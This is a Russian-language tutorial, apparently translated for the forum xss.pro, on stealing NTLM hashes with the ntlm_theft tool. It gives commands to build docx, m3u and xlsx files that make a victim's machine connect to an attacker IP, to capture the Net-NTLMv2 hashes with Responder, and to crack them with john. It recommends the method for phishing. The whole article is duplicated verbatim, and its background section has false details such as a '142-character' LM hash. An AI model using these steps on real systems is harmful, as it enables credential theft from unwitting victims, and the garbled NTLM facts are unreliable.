Введение
Часто при проведении тестов на проникновение злоумышленники стремятся повысить свои привилегии. Будь то Kerberoasting или простая атака дампа lsass, кража хэшей NTLM всегда возглавляет список приоритетов в указанном мотиве. И существуют различные способы сделать это с использованием множества инструментов, однако NTLM Theft — это инструмент, который объединяет многие из этих атак на одной платформе. Мы обсудим инструмент в этой статье.
Установка и настройка
NTLM Theft можно найти на github здесь (https://github.com/Greenwolf/ntlm_theft). Мы должны клонировать репозиторий и добавить один дополнительный пакет python3, необходимый для запуска атаки xlsx, которая называется xlsxwriter.
git clone https://github.com/Greenwolf/ntlm_theft
pip3 install xlsxwriter
В папке вы найдете скрипт python. Это инструмент, который мы будем использовать.
Но перед этим позвольте мне поделиться некоторыми фундаментальными теориями о NTLM.
Аутентификация Windows. В 1980-х годах, когда у людей были прически в стиле джаз и модные ботинки, Microsoft хотела использовать фундаментальный алгоритм SSO, чтобы пользователи могли безопасно входить в свои системы. Таким образом, они позволили пользователям вводить пароль и сохранять его как LM Hash.
LM Hash: это 142-символьный нечувствительный к символам хэш, который хранится в файле %SystemRoot%/system32/config/SAM в локальной системе и в %systemroot%\ntds.dit, если система является частью Active Directory.
NT Hash: это современная версия протокола аутентификации LM. NT Hash или широко известный как NTLM Hash — это полный Unicode (65 536 символов), чувствительный к символам хэш. Он появился позже, чтобы преодолеть фундаментальную ненадежность протокола LM.
Если NT появилась позже, то почему LM все еще существует? 2 слова – обратная совместимость. Многим средам это больше не нужно, и они могут отключить сохранение этого значения.
Net-NTLMv1 и Net-NTLMv2: их основной механизм такой же, как у NThash, они просто обеспечивают лучшую защиту от грубой силы, но все же очень хорошо поддаются взлому.
Дамп хэшей NTLM через файл docx с помощью NTLM Theft
В этой практической демонстрации мы будем использовать респондер для дампа хэшей Net-NTLMv2 с локального компьютера с Windows 10 с помощью инструмента NTLM Theft и взлома их с помощью John.
python3 ntlm_theft.py -g all -s 192.168.1.3 -f test
-g: генерировать. Здесь мы указываем типы файлов (для связанных атак) для создания
-s: IP-адрес сервера. Здесь IP-адрес нашей машины Kali, где будет работать респондер
-f: имя файла.
Эта команда сохранит все файлы в именованном каталоге "test".
Теперь, как я упоминал ранее, существует множество атак. Мы будем использовать сгенерированный файл docx для использования функции "includepicture".
В более старых версиях MS Word это делается так. Выбор изображения -> вставка-> изображение-> ссылка на файл позволял пользователю ввести ссылку на нужное изображение. Инструмент добавляет IP-адрес злоумышленника в это поле файла docx, так что в конечном итоге жертва пытается подключиться к злоумышленнику, чтобы получить это изображение. Именно тогда респондер переходит в уравнение.
Теперь мы настроим респондер на интерфейсе eth0.
responder -I eth0
Респондер делает следующее: когда клиент пытается подключиться (в данном случае жертва пытается подключиться к моему IP 192.168.1.3), он отравляет LLMNR и NBT-NS и подделывает запросы SMB, чтобы получить хэши Net-NTLMv2.
Итак, теперь жертва открывает файл docx, который мы отправили им, используя любой носитель, и ждет, пока они откроются.
Когда жертва открывает файл docx, мы видим, что респондер успешно захватил хэши NTLMv2!
Мы можем перейти в наш каталог к /usr/share/responder/logs, чтобы найти вывод респондера. Мы находим наши хэши NTLM в текстовом файле под названием SMB-NTLMv2-SSP-192.168.1.133.txt (версия IPv4) и используем john для взлома хэшей NTLM
cd /usr/share/responder/logs
ls -al
john SMB-NTLMv2-SSP-192.168.1.133.txt
Таким образом, мы успешно повысили наши привилегии!
Мы можем повторить тот же процесс и на этот раз выбрать другую атаку. Давайте перейдем к аудиофайлу, который будет открыт в проигрывателе Windows Media. Видим файл "test.m3u" отправляем его жертве и ждем, пока он его откроет.
В нашем сеансе мы видим, что файл журнала был создан. Мы можем использовать john для взлома только что захваченных хэшей NTLM, используя другую технику.
john SMB-NTLMv2-SSP-::ffff:192.168.1.133.txt
Но, конечно же, вы также увидите в инструменте различные методы (файлы), которые не будут работать в современных версиях Windows. Для этого мы можем использовать "современный" фильтр с инструментом кражи ntlm, который будет генерировать только файлы, которые будут запускать успешные атаки на современные версии Windows.
python3 ntlm_theft.py -g modern -s 192.168.1.3 -f ignite
Или мы также можем указать желаемый тип файла для атаки для простоты. Допустим, мы хотим запустить атаку Excel. Мы создаем этот файл, используя команду
python3 ntlm_theft.py -g xlsx -s 192.168.1.3 -f demo
Вывод
Инструмент NTLM Theft экономит время пентестера, легко создавая множество полезных нагрузок, которые можно использовать для кражи NTLM-хэшей системы. Этот сценарий полагается на ревспондера для запуска атак отравления LLMNR и NBT с целью кражи хэшей NTLM. Возможным будущим развитием сценария может быть добавление этой функции отравления и превращение ее в автономный инструмент для всех потребностей NTLM.
При этом он очень удобен и настоятельно рекомендуется для внутренней проверки подлинности и внутреннего моделирования фишинга, поскольку трафик SMB разрешен в пределах домена. Его также можно использовать в сетях, где брандмауэр пропускает SMB-трафик за пределы своей сети. Если вы найдете такую сеть, обращайтесь! Спасибо за чтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/multiple-files-to-capture-ntlm-hashes-ntlm-theft/
Часто при проведении тестов на проникновение злоумышленники стремятся повысить свои привилегии. Будь то Kerberoasting или простая атака дампа lsass, кража хэшей NTLM всегда возглавляет список приоритетов в указанном мотиве. И существуют различные способы сделать это с использованием множества инструментов, однако NTLM Theft — это инструмент, который объединяет многие из этих атак на одной платформе. Мы обсудим инструмент в этой статье.
Установка и настройка
NTLM Theft можно найти на github здесь (https://github.com/Greenwolf/ntlm_theft). Мы должны клонировать репозиторий и добавить один дополнительный пакет python3, необходимый для запуска атаки xlsx, которая называется xlsxwriter.
git clone https://github.com/Greenwolf/ntlm_theft
pip3 install xlsxwriter
В папке вы найдете скрипт python. Это инструмент, который мы будем использовать.
Но перед этим позвольте мне поделиться некоторыми фундаментальными теориями о NTLM.
Аутентификация Windows. В 1980-х годах, когда у людей были прически в стиле джаз и модные ботинки, Microsoft хотела использовать фундаментальный алгоритм SSO, чтобы пользователи могли безопасно входить в свои системы. Таким образом, они позволили пользователям вводить пароль и сохранять его как LM Hash.
LM Hash: это 142-символьный нечувствительный к символам хэш, который хранится в файле %SystemRoot%/system32/config/SAM в локальной системе и в %systemroot%\ntds.dit, если система является частью Active Directory.
NT Hash: это современная версия протокола аутентификации LM. NT Hash или широко известный как NTLM Hash — это полный Unicode (65 536 символов), чувствительный к символам хэш. Он появился позже, чтобы преодолеть фундаментальную ненадежность протокола LM.
Если NT появилась позже, то почему LM все еще существует? 2 слова – обратная совместимость. Многим средам это больше не нужно, и они могут отключить сохранение этого значения.
Net-NTLMv1 и Net-NTLMv2: их основной механизм такой же, как у NThash, они просто обеспечивают лучшую защиту от грубой силы, но все же очень хорошо поддаются взлому.
Дамп хэшей NTLM через файл docx с помощью NTLM Theft
В этой практической демонстрации мы будем использовать респондер для дампа хэшей Net-NTLMv2 с локального компьютера с Windows 10 с помощью инструмента NTLM Theft и взлома их с помощью John.
python3 ntlm_theft.py -g all -s 192.168.1.3 -f test
-g: генерировать. Здесь мы указываем типы файлов (для связанных атак) для создания
-s: IP-адрес сервера. Здесь IP-адрес нашей машины Kali, где будет работать респондер
-f: имя файла.
Эта команда сохранит все файлы в именованном каталоге "test".
Теперь, как я упоминал ранее, существует множество атак. Мы будем использовать сгенерированный файл docx для использования функции "includepicture".
В более старых версиях MS Word это делается так. Выбор изображения -> вставка-> изображение-> ссылка на файл позволял пользователю ввести ссылку на нужное изображение. Инструмент добавляет IP-адрес злоумышленника в это поле файла docx, так что в конечном итоге жертва пытается подключиться к злоумышленнику, чтобы получить это изображение. Именно тогда респондер переходит в уравнение.
Теперь мы настроим респондер на интерфейсе eth0.
responder -I eth0
Респондер делает следующее: когда клиент пытается подключиться (в данном случае жертва пытается подключиться к моему IP 192.168.1.3), он отравляет LLMNR и NBT-NS и подделывает запросы SMB, чтобы получить хэши Net-NTLMv2.
Итак, теперь жертва открывает файл docx, который мы отправили им, используя любой носитель, и ждет, пока они откроются.
Когда жертва открывает файл docx, мы видим, что респондер успешно захватил хэши NTLMv2!
Мы можем перейти в наш каталог к /usr/share/responder/logs, чтобы найти вывод респондера. Мы находим наши хэши NTLM в текстовом файле под названием SMB-NTLMv2-SSP-192.168.1.133.txt (версия IPv4) и используем john для взлома хэшей NTLM
cd /usr/share/responder/logs
ls -al
john SMB-NTLMv2-SSP-192.168.1.133.txt
Таким образом, мы успешно повысили наши привилегии!
Мы можем повторить тот же процесс и на этот раз выбрать другую атаку. Давайте перейдем к аудиофайлу, который будет открыт в проигрывателе Windows Media. Видим файл "test.m3u" отправляем его жертве и ждем, пока он его откроет.
В нашем сеансе мы видим, что файл журнала был создан. Мы можем использовать john для взлома только что захваченных хэшей NTLM, используя другую технику.
john SMB-NTLMv2-SSP-::ffff:192.168.1.133.txt
Но, конечно же, вы также увидите в инструменте различные методы (файлы), которые не будут работать в современных версиях Windows. Для этого мы можем использовать "современный" фильтр с инструментом кражи ntlm, который будет генерировать только файлы, которые будут запускать успешные атаки на современные версии Windows.
python3 ntlm_theft.py -g modern -s 192.168.1.3 -f ignite
Или мы также можем указать желаемый тип файла для атаки для простоты. Допустим, мы хотим запустить атаку Excel. Мы создаем этот файл, используя команду
python3 ntlm_theft.py -g xlsx -s 192.168.1.3 -f demo
Вывод
Инструмент NTLM Theft экономит время пентестера, легко создавая множество полезных нагрузок, которые можно использовать для кражи NTLM-хэшей системы. Этот сценарий полагается на ревспондера для запуска атак отравления LLMNR и NBT с целью кражи хэшей NTLM. Возможным будущим развитием сценария может быть добавление этой функции отравления и превращение ее в автономный инструмент для всех потребностей NTLM.
При этом он очень удобен и настоятельно рекомендуется для внутренней проверки подлинности и внутреннего моделирования фишинга, поскольку трафик SMB разрешен в пределах домена. Его также можно использовать в сетях, где брандмауэр пропускает SMB-трафик за пределы своей сети. Если вы найдете такую сеть, обращайтесь! Спасибо за чтение.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/multiple-files-to-capture-ntlm-hashes-ntlm-theft/